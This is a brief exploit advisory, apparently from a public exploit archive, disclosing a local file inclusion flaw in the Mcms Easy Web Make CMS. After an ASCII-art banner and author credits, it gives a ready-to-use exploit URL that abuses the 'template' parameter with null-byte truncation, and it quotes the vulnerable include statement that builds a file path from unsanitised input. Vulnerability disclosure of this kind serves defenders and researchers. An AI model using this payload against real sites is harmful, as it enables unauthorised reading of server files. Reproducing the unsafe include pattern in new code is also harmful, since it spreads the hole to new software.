Mcms Easy Web Make (index.php template) Local File Inclusion Vuln

--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ _____/ |_ /_ |/ |_ | |/ | | _(__ <_/ ___ __ ______ | __ | | | | |/ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| /\______| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- Local File Inclusion --------------------------------------------------------------- # Author: MhZ91 # Title: Mcms Easy Web Make - Local File Inclusion # Download: http://sourceforge.net/projects/easywebmake/ # Bug: Local File Inclusion # Visit: http://www.inj3ct-it.org --------------------------------------------------------------- Only If magic_quotes_gpc is Off Exploit: http://[site]/modules/cms/index.php?template=[LFI]%00 Vuln Code: include"includes/$template/template.config.php"; --------------------------------------------------------------- # sebug.net